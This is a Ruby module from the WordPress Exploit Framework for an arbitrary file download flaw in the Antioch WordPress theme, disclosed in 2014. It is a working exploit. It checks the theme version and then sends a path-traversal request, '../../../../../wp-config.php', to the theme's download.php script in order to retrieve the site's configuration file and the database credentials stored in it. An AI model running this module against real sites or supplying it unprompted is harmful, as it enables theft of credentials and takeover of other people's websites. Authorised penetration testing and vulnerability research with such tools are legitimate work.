# frozen_string_literal: true

class Wpxf::Auxiliary::AntiochArbitraryFileDownload < Wpxf::Module
  include Wpxf::WordPress::FileDownload

  def initialize
    super

    update_info(
      name: 'Antioch Theme Arbitrary File Download',
      author: [
        'Ashiyane Digital Security Team', # Disclosure
        'rastating'                       # WPXF module
      ],
      references: [
        ['WPVDB', '8406']
      ],
      date: 'Sep 08 2014'
    )
  end

  def check
    check_theme_version_from_style('antioch')
  end

  def default_remote_file_path
    '../../../../../wp-config.php'
  end

  def working_directory
    'wp-content/themes/antioch/lib/scripts/'
  end

  def downloader_url
    normalize_uri(wordpress_url_themes, 'antioch', 'lib', 'scripts', 'download.php')
  end

  def download_request_params
    { 'file' => remote_file }
  end
end
